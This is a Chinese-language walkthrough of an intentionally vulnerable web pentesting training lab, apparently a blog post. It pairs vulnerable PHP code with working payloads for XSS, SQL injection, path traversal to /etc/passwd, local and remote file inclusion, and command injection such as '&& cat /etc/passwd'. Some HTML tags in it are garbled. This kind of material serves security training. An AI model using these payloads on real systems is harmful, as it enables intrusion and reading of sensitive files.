Web for Pentesters I

一、XSS

有三种类型的XSS:
- 反射型
- 存储型
- DOM型

1.没有任何防护

PHP源码

   
    echo $_GET["name"];  
?>

payload

?name=<script>alert(1);script> 

2.过滤了小写的,可以使用大小写绕过

PHP源码

   
    $name = $_GET["name"];  
    $name = preg_replace("/  

payload-1:使用//注释后续代码

";b=alert(1);eval(b);//

payload-2:使用虚构代码结束后续部分

";b=alert(1);eval(b);var $dummy="

7.在js环境中输出通过html编码的php变量,htmlentities没有过滤单引号,使用单引号绕过

PHP源码

其中,htmlentities()把字符转换为HTML实体。
- htmlentities(string,flags,character-set,double_encode)
- flags参数:可选。规定如何处理引号、无效的编码以及使用哪种文档类型。
- NT_COMPAT - 默认。仅编码双引号。
- ENT_QUOTES - 编码双引号和单引号。
- ENT_NOQUOTES - 不编码任何引号。
可见htmlentities函数默认不处理单引号(’)。

payload

';b=alert(1);eval(b);//

8.post地址使用了当前url,构造当前url地址达到xss目的

PHP源码

 
  require_once '../header.php'; 

  if (isset($_POST["name"])) {
    echo "HELLO ".htmlentities($_POST["name"]);
  }
?>
<form action="" method="POST">
  Your name:<input type="text" name="name" />
  <input type="submit" name="submit"/>

payload

/"method="POST">

9.直接在页面输出锚点id,构建一个带xss的锚点即可

PHP源码

payload

#<script>alert(1)script>

二、SQL注入

本环境使用MySQL作为后端环境。

1.

php源码



  require_once('../header.php');
  require_once('db.php');
    $sql = "SELECT * FROM users where name='";
    $sql .= $_GET["name"]."'";  
    $result = mysql_query($sql);
    if ($result) {
        ?>
        <table class='table table-striped'>
      <tr><th>idth><th>nameth><th>ageth>tr>
        
        while ($row = mysql_fetch_assoc($result)) {
            echo "";
                echo "".$row['id']."";
                echo "".$row['name']."";
                echo "".$row['age']."";
            echo "";
        }   
        echo "";
    }
  require_once '../footer.php';
?>

payload
利用自带的引号闭合

自行闭合,并使用注释
- 使用–注释

?name=root' --%20
  • 使用#注释
?name=root' %23

2.检测到空格便报错。使用tab可以绕过。

php源码


  require_once('../header.php');
  require_once('db.php');

    if (preg_match('/ /', $_GET["name"])) {
        die("ERROR NO SPACE");  
    }
    $sql = "SELECT * FROM users where name='";
    $sql .= $_GET["name"]."'";

    $result = mysql_query($sql);
    if ($result) {
        ?>
        <table class='table table-striped'>
      <tr><th>idth><th>nameth><th>ageth>tr>
        
        while ($row = mysql_fetch_assoc($result)) {
            echo "";
                echo "".$row['id']."";
                echo "".$row['name']."";
                echo "".$row['age']."";
            echo "";
        }   
        echo "";
    }
  require '../footer.php';
?>

payload

?name=root'%09and%09'1'='1

3.禁止使用空格和TAB键。使用注释/**/可以绕过

payload

?name=root'/**/and/**/'1'='1

php源码


    require_once('../header.php');
  require_once('db.php');
    if (preg_match('/\s+/', $_GET["name"])) {
        die("ERROR NO SPACE");  
    }
    $sql = "SELECT * FROM users where name='";
    $sql .= $_GET["name"]."'";

    $result = mysql_query($sql);
    if ($result) {
        ?>
        <table class='table table-striped'>
      <tr><th>idth><th>nameth><th>ageth>tr>
        
        while ($row = mysql_fetch_assoc($result)) {
            echo "";
                echo "".$row['id']."";
                echo "".$row['name']."";
                echo "".$row['age']."";
            echo "";
        }   
        echo "";
    }
    require '../footer.php';
?>

4.

本例是防止SQL注入的典型错误。mysql_real_escape_string可以防止前面3种绕过方式。但是本例中获取的值是一个整数,在单引号’之间不会被回显。该值直接放入查询中,因此使用此函数不会阻止任何操作。

可以加入空格和SQL关键词来破坏语法。

php源码


  require_once('../header.php');
  require_once('db.php');
  $sql="SELECT * FROM users where id=";
    $sql.=mysql_real_escape_string($_GET["id"])." ";
    $result = mysql_query($sql);


    if ($result) {
        ?>
        <table class='table table-striped'>
      <tr><th>idth><th>nameth><th>ageth>tr>

        
        while ($row = mysql_fetch_assoc($result)) {
            echo "";
                echo "".$row['id']."";
                echo "".$row['name']."";
                echo "".$row['age']."";
            echo "";
        }   
        echo "";
    }
    require '../footer.php';
?>

payload:play with value 2

?id=2
?id=3-1
?id=2-0
?id=1+1
?id=2.0

5.?

php源码

if (!preg_match('/^[0-9]+/', $_GET["id"])) {
        die("ERROR INTEGER REQUIRED");  
}
$sql = "SELECT * FROM users where id=";
$sql .= $_GET["id"];

该正则表达式不正确,仅保证了参数id是以数字开始的。前面的检测方式可以发现该漏洞。

payload

6.

php源码

if (!preg_match('/[0-9]+$/', $_GET["id"])) {
    die("ERROR INTEGER REQUIRED");  
}
$sql = "SELECT * FROM users where id=";
$sql .= $_GET["id"];

该正则表达式仅仅保证了参数id以数字结束。没有保证参数的开始是否是有效的。

payload

?id=1 or 1=1 # 123

7.

php源码

参数id必须以数字开始和结束。但是该正则使用了PCRE修饰符PCRE_MULTILINE(/m),所以只会验证其中一行只包含一个整数。

payload

123\nPAYLOAD
PAYLOAD\n123
PAYLOAD\n123\nPAYLOAD

其中换行符(linefeed)\n的URL编码为%0a

8.排序参数。

php源码

$sql = "SELECT * FROM users ORDER BY `";
$sql .= mysql_real_escape_string($_GET["order"])."`";
$result = mysql_query($sql);

MySQL有两种排序语句:
- 直接声明:ORDER BY name
- 在反引号之间声明:ORDER BY name

可以测试该漏洞是否存在:

payload-1:以下payload显示相同结果

name` #
name` ASC #
name`, `name

payload-2:以下payload显示不同结果

name` DESC #
name`

9.

php源码

$sql = "SELECT * FROM users ORDER BY ";
$sql .= mysql_real_escape_string($_GET["order"]);
$result = mysql_query($sql);

可以使用MySQL的IF语句生成更多的payloads

payload-1:以下两种,结果相同

?order=name
?order=IF(1, name,age)

payload-2:和上边两种结果不同

?order=IF(0,name,age)

副作用:这种payload会导致,使用age排序时会把整数当作字符。(字符串10小于字符串2)

三、Directory traversal attack

又称Path Traversal attack,即目录遍历攻击,旨在访问web服务器根目录外的文件/目录。通过是通过url或变量里头传递”../”来进行目录遍历。

测试方法:相同值技术。使用相同意义的不同表达,以及大量的../,检测是否存在漏洞。

3.1 简单的例子,没有过滤。

example

http://vulnerable/dirtrav/example1.php?file=hacker.png

php

 

$UploadDir = '/var/www/files/'; 

if (!(isset($_GET['file'])))
    die();

$file = $_GET['file'];

$path = $UploadDir . $file;

if (!is_file($path))
    die();

header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Cache-Control: public');
header('Content-Disposition: inline; filename="' . basename($path) . '";');
header('Content-Transfer-Encoding: binary');
header('Content-Length: ' . filesize($path));

$handle = fopen($path, 'rb');

do {
$data = fread($handle, 8192);
if (strlen($data) == 0) {
break;
}
echo($data);
} while (true);

fclose($handle);
exit();


?>

payload

?file=../../../../../etc/passwd

3.2

example

http://vulnerable/dirtrav/example2.php?file=/var/www/files/hacker.png

php

if (!(isset($_GET['file'])))
    die();


$file = $_GET['file'];

if (!(strstr($file,"/var/www/files/")))
    die();

if (!is_file($file))
    die();

可以保留路径的开始部分,使用../回溯到根目录。

payload

?file=/var/www/files/../../../../../../etc/passwd

3.3服务器添加了后缀名。在payload后面加入空字节%00可以绕过。

example

http://vulnerable/dirtrav/example3.php?file=hacker

php

$UploadDir = '/var/www/files/'; 

if (!(isset($_GET['file'])))
    die();


$file = $_GET['file'];

$path = $UploadDir . $file.".png";
// Simulate null-byte issue that used to be in filesystem related functions in PHP
$path = preg_replace('/\x00.*/',"",$path);

payload

?file=../../../../../etc/passwd%00

4.文件包含

4.1 没有任何过滤

php

if ($_GET["page"]) {
    include($_GET["page"]);
}

payload-1:本地文件包含

?page=../../../../etc/passwd

payload-2:远程文件包含

?page=http://assets.pentesterlab.com/test_include.txt

4.2 服务器添加后缀名。本地文件使用空字节%00可以绕过,远程文件使用&blah=或者?blah=可以绕过

php

if ($_GET["page"]) {
    $file = $_GET["page"].".php";
    // simulate null byte issue
    $file = preg_replace('/\x00.*/',"",$file);
    include($file);
}

payload-1:本地文件包含

?page=../../../../etc/passwd%00

payload-2:远程文件包含

?page=http://assets.pentesterlab.com/test_include.txt?blah=

URL中使用?来分隔多个不同参数。

5.代码注入

6.命令注入

6.1 没有任何的输入验证,可以直接在参数后直接注入命令

payload

?ip=127.0.0.1 %26%26 cat /etc/passwd

6.2 验证使用了多行的正则表达式,把换行符编码可以绕过

php

if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/m', $_GET['ip']))) {
    die("Invalid IP address");
}
system("ping -c 2 ".$_GET['ip']);

正则表达式的^匹配一个字符串的开头, m 分别表示行首和行尾。

注入编码的换行符(%0a)然后加上你要执行的命令就行了。

payload

?ip=127.0.0.1%0Acat /etc/passwd

你可能感兴趣的:(Web)